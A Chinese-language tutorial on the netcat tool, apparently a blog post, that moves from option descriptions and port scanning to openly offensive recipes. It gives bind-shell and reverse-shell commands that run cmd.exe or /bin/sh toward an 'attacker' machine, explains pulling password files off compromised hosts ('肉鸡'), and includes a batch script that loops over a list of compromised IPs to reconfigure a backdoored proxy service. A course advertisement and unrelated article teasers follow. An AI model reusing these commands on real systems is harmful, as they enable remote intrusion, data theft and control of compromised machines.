网络安全工具nc(NetCat)
NetCat是一个非常简单的Unix工具,可以读、写TCP或UDP网络连接(network connection)。它被设计成一个可靠的后端(back-end)工具,能被其它的程序程序或脚本直接地或容易地驱动。同时,它又是一个功能丰富的 网络调试和开发工具,因为它可以建立你可能用到的几乎任何类型的连接,以及一些非常有意思的内建功能。
首先我们要弄明白netcat的工作原理,其实netcat的原理很简单,它就是从网络的一端读入数据,然后输出到网络的另一端,它可以使用tcp和 udp协议.之所以叫做netcat,因为它是网络上的cat,想象一下cat的功能,读出一个文件的内容,然后输出到屏幕上(默认的stdout是屏 幕,当然可以重定向到其他地方).netcat也是如此,它读取一端的输入,然后传送到网络的另一端,就这么简单.但是千万不要小看了它,netcat可以完成很多任务,,尤其是和其他程序组合时.
最简单的使用方法,”nc host port”,能建立一个TCP连接,连向指定的主机和端口。接下来,你的从标准输入中输入的任何内容都会被发送到指定的主机,任何通过连接返回来的信息都 被显示在你的标准输出上。这个连接会一直持续下去,至到连接两端的程序关闭连接。注意,这种行为不同于大多数网络程序,它们会在从标准输入读到一个文件结 束符后退出。
NetCat还可以当服务器使用,监听任意指定端口的连接请求(inbound connection),并可做同样的读写操作。除了较小限制外,它实际并不关心自己以“客户端”模式还是“服务器”模式运行,它都会来回运送全部数据。 在任何一种模式下,都可以设置一个非活动时间来强行关闭连接。
你可能会问“为什么不用telnet来连接任意的端口”?问题提得好(valid),这儿有一些理由。Telnet有“标准输入文件结束符 (standard input EOF)”问题,所以需要在脚本中延迟计算以便等待网络输出结束。这就是netcat持续运行直到连接被关闭的主要原因。Telnet也不能传输任意的二 进制数据,因为一些特定的字符会被解释为Telnet的参数而被从数据流中去除。Telnet还将它的一些诊断信息显示到标准输出上,而NetCat会将 这信息与它的输出分开以不改变真实数据的传输,除非你要求它这么做。当然了,Telnet也不能监听端口,也不能使用UDP。NetCat没有这些限制, 比Telnet更小巧和快捷,而且还有一些其它的功能。
NetCat小巧且功能强大,描述它的功能就是象描述瑞士***的功能一样。
如果没有提供命令行参数,NetCat会提示你从标准输入来输入命令参数,然后NetCat会在内部解析输入。用这种办法输入命令式参数,可以用来防止借助“ps”来查看你的命令行参数。
主机参数可以是一个名字或一个IP地址。如果-n出现,则它接受IP地址,而不再对计算机的名字或域名进行解析。如果没有-n,但加上-v,则 NetCat可进行正/反向域名解析,并警告the all-too-common problem of mismatched name in DNS。这会耗费稍多一点时间,但在某些情况下会有用处。如,你想知道某个IP的主机名,NetCat可省却你手工查找的时间。
要建立对外的连接,必须提供一个端口号,可以是个数字,也可以/etc/services列表中的端口服务名。当-n出现时,则只有数字形式的端口可以接收。
-v参数,可以将一些关于连接建立信息输出到标准错误。-v参数多出现几次,则显示的信息会更多一些。如果-v参数没有出现,则NetCat将默默地工作,至到出现错误为止。
-w参数后跟一个时间值,用以指定建立链接时的等待时间,-w如果多次出现,则后面的值将取代前面的设置。-w还用来设置连接非活动时间,当标准输入结束以后,如果等待指定的一段时间后仍没有数据返回,则NetCat会再试一次,然后关闭连接并退出。
当-u参数出现时,用UDP建立连接。
用-o logfile参数,可以将连接上往来传输的数据以16进制的形式记录到logfile中(每行的左半部分是16进制显示,右半部分为ascii显示)。其中,每行的第一个字符为”<”或”>”,分别表示接收的数据或发送的数据。
NetCat用-s ip-addr或-s name来绑定本地网络资源地址,-p portarg来绑定本地端口。除了因权限限制或端口已经使用外,-p可以绑定任何端口。Root用户可以绑定保留的1024以内的端口。如果不用-p指 定端口,则使用系统给定的未使用的端口。(-p功能在客户端状态也可以使用,-s功能并不是在所有的平台上都可用)
-l参数可以使NetCat以服务器状态运行。”nc -l -p 1234 [remote hostname] [remote port]”可以用来指定入连的主机和端口,如果申请连接的主机或端口不符指定,则会断开连接。
当编译时置-DGAPING_SECURITY_HOLE,则-e参数被NetCat支持。-e后面跟一可执行程序的名称,当一个连接(入或出)被建立 时,这个程序被运行。尤其当NetCat以服务器端运行时,-e参数使其有点象inetd了,只是只能运行一个进行而已。需要说明的是,-e后的程序不能 从NetCat的命令行接收参数,如果有参数要传递,可能需要一个脚本。
当编译时置-DTELNET,则-t参数被支持,此时NetCat可以登录到一个telnetd服务器,并提供相关的握手应答,至到出现登录提示符。
NetCat用8k的读写,来尽可能高效将收到数据显示到标准输出上及将标准输入写到连接上。-i参数,可以用来设置发送一行标准输入信息的间隔,以减少发送速度。
端口扫描是一探测主机服务的流行方法。NetCat的命令行中,先是参数,再是主机,最后是端口。端口可以是一些服务名、端口号,或者是一个端口范围(形 如N-M)。”nc -v -w 2 -z -i 1 20-30”用来扫描target主机的20-30(两端包含)端口,-z表示不发送任何数据到TCP连接或非常有限的数据到UDP连接。-i用以指明两 个端口建立连接的时间的间隔。-w用以指明连接不活动时间。通常情况下,扫描按从高到低的顺序依次扫描指定的端口,-r参数可以让NetCat在指定的端 口范围内随机地扫描端口。(当-r被用于单个连接时,本地的端口在8192以上,除非用-p指定)
以上为最基本的几种用法,其实NC的用法还有很多,当配合管道命令“|”与重定向命令“<”、“>”等命令时功能更强大。
其部分参数意义如下:
-d 后台模式
-e prog 程序重定向,一旦连接,就执行[危险!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h 帮助信息
-i secs 延时的间隔
-l 监听模式,用于入站连接
-L 连接关闭后,仍然继续监听
-n 指定数字的IP地址,不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 随机本地及远程端口
-s addr 本地源地址
-t 使用TELNET交互方式
-u UDP模式
-v 详细输出——用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉——用于扫描时
端口的刺探:
nc -vv ip port
RIVER [192.168.0.198] 19190 open //显示是否开放open
扫描器
nc -vv -w 5 ip port-port port
nc -vv -z ip port-port port
这样扫描会留下大量的痕迹,系统管理员会额外小心
后门
victim machine: //受害者的机器
nc -l -p port -e cmd.exe //win2000
nc -l -p port -e /bin/sh //unix,linux
attacker machine: //攻击者的机器.
nc ip -p port //连接victim_IP,然后得到一个shell。
反向连接
attacker machine: //一般是sql2.exe,远程溢出,webdavx3.exe攻击.
//或者wollf的反向连接.
nc -vv -l -p port
victim machine:
nc -e cmd.exe attacker ip -p port
nc -e /bin/sh attacker ip -p port
或者:
attacker machine:
nc -vv -l -p port1 /*用于输入*/
nc -vv -l -p prot2 /*用于显示*/
victim machine:
nc attacker_ip port1 | cmd.exe | nc attacker_ip port2
nc attacker_ip port1 | /bin/sh | nc attacker_ip port2
139要加参数-s(nc.exe -L -p 139 -d -e cmd.exe -s 对方机器IP)
这样就可以保证nc.exe优先于NETBIOS(windows环境)
传送文件:
attacker machine <-- victim machine //从肉鸡拖密码文件回来.
nc -d -l -p port < pathfiledest /*attacker machine*/ 可以shell执行
nc -vv attacker_ip port > pathfile.txt /*victim machine*/ 需要Ctrl+C退出
//肉鸡需要gui界面的cmd.exe里面执行(终端登陆,不如安装FTP方便).否则没有办法输入Crl+C.
attacker machine --> victim machine //上传命令文件到肉鸡
nc -vv -l -p port > pathfile.txt /*victim machine*/ 需要Ctrl+C退出
nc -d victim_ip port < pathfiledest /*attacker machine*/ 可以shell执行
//这样比较好.我们登陆终端.入侵其他的肉鸡.可以选择shell模式登陆.
结论: 可以传输ascii,bin文件.可以传输程序文件.
问题:连接某个ip后,传送完成后,需要发送Ctrl+C退出nc.exe .
或者只有再次连接使用pskill.exe 杀掉进程.但是是否释放传输文件打开的句柄了?
端口数据抓包.
nc -vv -w 2 -o test.txt www.xfocus.net 80 21-15
< 00000058 35 30 30 20 53 79 6e 74 61 78 20 65 72 72 6f 72 # 500 Syntax error
< 00000068 2c 20 63 6f 6d 6d 61 6e 64 20 22 22 20 75 6e 72 # , command "" unr
< 00000078 65 63 6f 67 6e 69 7a 65 64 2e 0d 0a # ecognized...
< 00000084 83 00 00 01 8f # .....
telnet,自动批处理。 ★★★★★我要重点推荐的东西就是这个.
nc victim_ip port < pathfile.cmd /*victim machine*/ 显示执行过程.
nc -vv victim_ip port < pathfile.cmd /*victim machine*/ 显示执行过程.
nc -d victim_ip port < pathfile.cmd 安静模式.
_______________file.cmd________________________
password
cd %windir%
echo []=[%windir%]
c:
cd
md test
cd /d %windir%system32
net stop sksockserver
snake.exe -config port 11111
net start sksockserver
exit
_______________file.cmd__END___________________
######################################################################
管理肉鸡,更改肉鸡设置
######################################################################
比如要统一更改肉鸡上面的代理端口.snake.exe 修改为11111 服务名称"sksockserver"
使用winshell后门. 端口1234 密码password
命令格式就是
modi.bat youip.txt
___________modi.bat____________________________
@if "%1"=="" echo Error: no ip.txt &&goto END
:start
@echo password >a.cmd
@echo s >>a.cmd
@echo cd /d %%windir%%system32 >>a.cmd
@net stop "sksockserver" >>a.cmd
@snake.exe -config port 11111 >>a.cmd
@net start "sksockserver" >>a.cmd
@exit >>a.cmd
:auto
@for /f "eol=; tokens=1,2" %%i in (%1) do @(nc.exe -vv -w 3 %%i 1234 < a.cmd)
:END
___________modi.bat__END_______________________
网络安全学习路线
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
同时每个成长路线对应的板块都有配套的视频提供:
需要网络安全学习路线和视频教程的可以在评论区留言哦~
最后
- 如果你确实想自学的话,我可以把我自己整理收藏的这些教程分享给你,里面不仅有web安全,还有渗透测试等等内容,包含电子书、面试题、pdf文档、视频以及相关的课件笔记,我都已经学过了,都可以免费分享给大家!
给小伙伴们的意见是想清楚,自学网络安全没有捷径,相比而言系统的网络安全是最节省成本的方式,因为能够帮你节省大量的时间和精力成本。坚持住,既然已经走到这条路上,虽然前途看似困难重重,只要咬牙坚持,最终会收到你想要的效果。
黑客工具&SRC技术文档&PDF书籍&web安全等(可分享)
结语
网络安全产业就像一个江湖,各色人等聚集。相对于欧美国家基础扎实(懂加密、会防护、能挖洞、擅工程)的众多名门正派,我国的人才更多的属于旁门左道(很多白帽子可能会不服气),因此在未来的人才培养和建设上,需要调整结构,鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”,才能解人才之渴,真正的为社会全面互联网化提供安全保障。
特别声明:
此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施
,从而减少由网络安全而带来的经济损失
相关文章:

网络安全工具nc(NetCat)
NetCat是一个非常简单的Unix工具,可以读、写TCP或UDP网络连接(network connection)。它被设计成一个可靠的后端(back-end)工具,能被其它的程序程序或脚本直接地或容易地驱动。同时,它又是一个功能丰富的 网络调试和开发工具,因为它…...

【C/C++】如何求出类对象的大小----类结构中的内存对齐
每日激励:“不设限和自我肯定的心态:I can do all things。 — Stephen Curry” 绪论: 通过本章你能具体的了解到,如何计算出一个类的大小,并且了解其中到底是如何算的以及了解到为什么需要内存对齐这种算࿰…...

Linux:动静态库
1.库是什么,作用是什么 库是写好的,现有的可以复用的代码。现实中每个程序都要依赖很多基础的底层库,不可能每个人的代码都从零开始。 本质上来说库是一种可执行代码的二进制形式,可以被操作系统载入内存中执行。库有两种&#…...

鸿蒙跨平台框架ArkUI-X
01 引言 目前,移动端主流跨平台方案有Flutter、React Native、uni-app等等,还有刚推出不久的Compose-Multiplatform,真所谓是百花齐放。这些框架各有特点,技术实现各有差异,比如Flutter通过Dart编写的UI描述对接Flutte…...

第7章 wireshark(网络安全防御实战--蓝军武器库)
网络安全防御实战--蓝军武器库是2020年出版的,已经过去3年时间了,最近利用闲暇时间,抓紧吸收,总的来说,第7章开始学习抓包工具wireshark,如果你怀疑自己的电脑中毒了,那么用wireshark可以很轻松…...

【AI】神经网络|机器学习——图解Transformer(完整版)
Transformer是一种基于注意力机制的序列模型,最初由Google的研究团队提出并应用于机器翻译任务。与传统的循环神经网络(RNN)和卷积神经网络(CNN)不同,Transformer仅使用自注意力机制(self-attention)来处理输入序列和输出序列,因此可以并行计算,极大地提高了计算效率…...

002-SpringCloud-OpenFeign(远程调用)
SpringCloud-OpenFeign 1.引入依赖2.编写一个远程调用接口3.测试 1.引入依赖 <dependency><groupId>org.springframework.cloud</groupId><artifactId>spring-cloud-starter-openfeign</artifactId> </dependency><dependencyManageme…...

基于类型的声明接收props
在 Vue 3 中,除了运行时声明这种常见方式,还可以通过基于类型的声明、解构赋值等方式来接收 props,下面为你详细介绍: 1. 基于类型的声明 这种方式借助 TypeScript 的类型系统来定义 props,具有类型检查和代码提示的…...

多方安全计算(MPC)电子拍卖系统
目录 一、前言二、多方安全计算(MPC)与电子拍卖系统概述2.1 多方安全计算(MPC)的基本概念2.2 电子拍卖系统背景与需求三、MPC电子拍卖系统设计原理3.1 系统总体架构3.2 电子拍卖中的安全协议3.3 数学与算法证明四、数据加解密模块设计五、GPU加速与系统性能优化六、GUI设计与系…...

使用QT + 文件IO + 鼠标拖拽事件 + 线程 ,实现大文件的传输
第一题、使用qss,通过线程,使进度条自己动起来 mythread.h #ifndef MYTHREAD_H #define MYTHREAD_H#include <QObject> #include <QThread> #include <QDebug>class mythread : public QThread {Q_OBJECT public:mythread(QObject* …...

【无人机路径规划】基于麻雀搜索算法(SSA)的无人机路径规划(Matlab)
效果一览 代码获取私信博主基于麻雀搜索算法(SSA)的无人机路径规划(Matlab) 一、算法背景与核心思想 麻雀搜索算法(Sparrow Search Algorithm, SSA)是一种受麻雀群体觅食行为启发的元启发式算法࿰…...

基于物联网技术的分布式光伏监控系统设计与实现
一、分布式光伏发电系统标准规范 1.常见应用场景 2.并网标准 Q/GDW1480-2015《分布式电源接入电网技术规定》 分布式电源并网电压等级可根据各并网点装机容量进行初步选择,推荐如下: 8kW 及以下可接入220V; 8kW~400kW可接入380V…...

阿里发布新开源视频生成模型Wan-Video,支持文生图和图生图,最低6G就能跑,ComFyUI可用!
Wan-Video 模型介绍:包括 Wan-Video-1.3B-T2V 和 Wan-Video-14B-T2V 两个版本,分别支持文本到视频(T2V)和图像到视频(I2V)生成。14B 版本需要更高的 VRAM 配置。 Wan2.1 是一套全面开放的视频基础模型&…...

27. Harmonyos Next仿uv-ui 组件NumberBox 步进器组件禁用状态
温馨提示:本篇博客的详细代码已发布到 git : https://gitcode.com/nutpi/HarmonyosNext 可以下载运行哦! 文章目录 1. 组件介绍2. 效果展示3. 禁用状态设置3.1 整体禁用3.2 输入框禁用3.3 长按禁用 4. 完整示例代码5. 知识点讲解5.1 禁用状态属性5.2 禁用…...

【软件工程】一篇入门UML建模图(状态图、活动图、构件图、部署图)
🌈 个人主页:十二月的猫-CSDN博客 🔥 系列专栏: 🏀软件开发必练内功_十二月的猫的博客-CSDN博客 💪🏻 十二月的寒冬阻挡不了春天的脚步,十二点的黑夜遮蔽不住黎明的曙光 目录 1. 前…...

AI智能导航站HTML5自适应源码帝国cms7.5模板
源码名称:AI导航站HTML5自适应源码帝国cms7.5模板 开发环境:帝国cms 7.5 安装环境:phpmysql var code "4d33ef8e-9e38-43b9-b37b-38f75944ecc9" 带软件采集,可以挂着自动采集发布,无需人工操作࿰…...

Redis 发布订阅模式详解:实现高效的消息通信
目录 引言 1. 什么是 Redis 发布订阅模式? 1.1 定义 1.2 核心概念 2. Redis 发布订阅的工作原理 2.1 基本流程 2.2 示例 2.3 频道与模式订阅 3. Redis 发布订阅的使用场景 3.1 实时消息通知 3.2 事件驱动架构 3.3 日志收集与分发 3.4 分布式锁与协调 4…...

ES的预置分词器
Elasticsearch(简称 ES)提供了多种预置的分词器(Analyzer),用于对文本进行分词处理。分词器通常由字符过滤器(Character Filters)、分词器(Tokenizer)和词元过滤器&#…...

MPPT与PWM充电原理及区别详解
MPPT(最大功率点跟踪)和PWM(脉宽调制)是太阳能充电控制器中常用的两种技术,它们在原理、效率和适用场景上有显著区别。以下是两者的详细对比: 1. 工作原理 PWM(脉宽调制) 核心机制…...

【AGI】通往AGI的复兴号:模型工具演进与技术路径优化
通往AGI的复兴号:模型工具演进与技术路径优化 一、核心模型与工具技术指标及场景分析1. 边缘计算标杆:GLM-PC(2024年11月)2. 长文本处理王者:DeepSeek R1(2025年1月)3. 轻量化开源代表ÿ…...

java2025年常见设计模式面试题
1. 请解释建造者模式(Builder Pattern)及其应用场景。 答案: 建造者模式用于创建一个复杂的对象,同时允许用户只通过指定复杂对象的类型和内容就能构建它们,隐藏了复杂的构建逻辑。 示例: public class C…...

探索CAMEL:揭开多智能体系统的神秘面纱
在人工智能领域,多智能体系统(Multi-Agent Systems, MAS)一直是一个充满活力和潜力的研究方向。随着大语言模型(LLM)的快速发展,智能体之间的协作与交互变得更加复杂和智能。今天,我们要介绍的是一个名为CAMEL(Communicative Agents for “Mind” Exploration of Large…...

el-pagination的使用说明
<el-paginationv-model:current-page"pageNo" //当前第几页v-model:page-size"pageSize" //每页显示多少条数据:page-sizes"[10, 20, 30]" //控制每页显示的条数:small"true" //控制分页器大小:disabled&quo…...

UniApp 运行的微信小程序如何进行深度优化
UniApp 运行的微信小程序如何进行深度优化 目录 引言性能优化 1. 减少包体积2. 优化页面加载速度3. 减少 setData 调用4. 使用分包加载 代码优化 1. 减少不必要的代码2. 使用条件编译3. 优化图片资源 用户体验优化 1. 优化交互体验2. 预加载数据3. 使用骨架屏 调试与监控 1. …...

Web Worker如何在本地使用
首先了解一下什么是Web Worker Web Worker 是一种在后台线程中运行 JavaScript 的机制,允许你在不阻塞主线程的情况下执行耗时的任务。这对于保持网页的响应性和流畅性非常重要,特别是在需要进行复杂计算或大量数据处理时。 主要特点 多线程࿱…...

[原创](Modern C++)现代C++的关键性概念: 改掉new习惯, 尽情地使用智能分配内存
[作者] 常用网名: 猪头三 出生日期: 1981.XX.XX 企鹅交流: 643439947 个人网站: 80x86汇编小站 编程生涯: 2001年~至今[共24年] 职业生涯: 22年 开发语言: C/C、80x86ASM、Object Pascal、Objective-C、C#、R、Python、PHP、Perl、 开发工具: Visual Studio、Delphi、XCode、C …...

C/C++中使用CopyFile、CopyFileEx原理、用法、区别及分别在哪些场景使用
文章目录 1. CopyFile原理函数原型返回值用法示例适用场景 2. CopyFileEx原理函数原型返回值用法示例适用场景 3. 核心区别4. 选择建议5. 常见问题6.区别 在Windows系统编程中,CopyFile和CopyFileEx是用于文件复制的两个API函数。它们的核心区别在于功能扩展性和控制…...

android studio开发文档
android基本样式 1.文本 2.设置文本大小 3.字体颜色 背景 资源文件 xml’引用资源文件 4.视图宽高 5.间距 6.对齐方式 常用布局 1.linearLayout线性布局 2.相对布局 RelativeLayout 3.网格布局GridLayout 4.scrollview滚动视图 Button 点击事件与长按事件 长按 按钮禁用与…...

计算机网络笔记(二)——1.2互联网概述
1.2.1网络的网络 起源于美国的互联网现已发展成为世界上最大的覆盖全球的计算机网络。 下面,我们先来看看关于网络、互连网、互联网(因特网)的一些基本概念。为了方便,后面我们所称呼的"网络"往往就是"计算机网络",而不是电信网或有…...

Ubuntu 24.04.2 允许 root 登录桌面、 ssh 远程、允许 Ubuntu 客户机与主机拖拽传递文件
允许 root 登录桌面 修改 /etc/pam.d/gdm-autologin , /etc/pam.d/gdm-password 加 # 以注释掉 auth required pam_succeed_if.so user ! root quiet_success 允许 root 通过 ssh 登录 修改 /etc/ssh/sshd_config ... #PermitRootLogin prohibit-password PermitRootLogin …...